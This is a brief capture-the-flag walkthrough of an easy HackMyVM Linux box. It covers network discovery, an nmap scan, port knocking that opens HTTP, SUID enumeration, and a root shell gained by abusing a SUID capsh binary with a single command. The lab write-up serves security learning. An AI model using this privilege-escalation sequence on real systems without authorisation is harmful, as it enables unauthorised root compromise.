
machine downloaded from https://hackmyvm.eu/
difficulty: Easy
OS: Linux
sudo netdiscover -i eth0 -r 192.168.5.0/24The IP address is 192.168.5.144
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -vvv 192.168.5.144 -oN report.txtThis machine has 1 services on port 21


sudo apt install knockd
knock -v 192.168.5.144 1000 2000 3000 -d 1000And now we have opened http port 80:



After enumerating, we don’t find any new passwords, but the text ‘I only remembet that was in a .txt file’, it makes us think that password could be the text inside .secretnote.txt.

sudo -l
sudo find / -type f -perm -4000 2>/dev/null
We can search for information about /usr/sbin/capsh using the searchbins tool.

We execute the command:
/sbin/capsh --gid=0 --uid=0 --We win the root shell and get the root flag
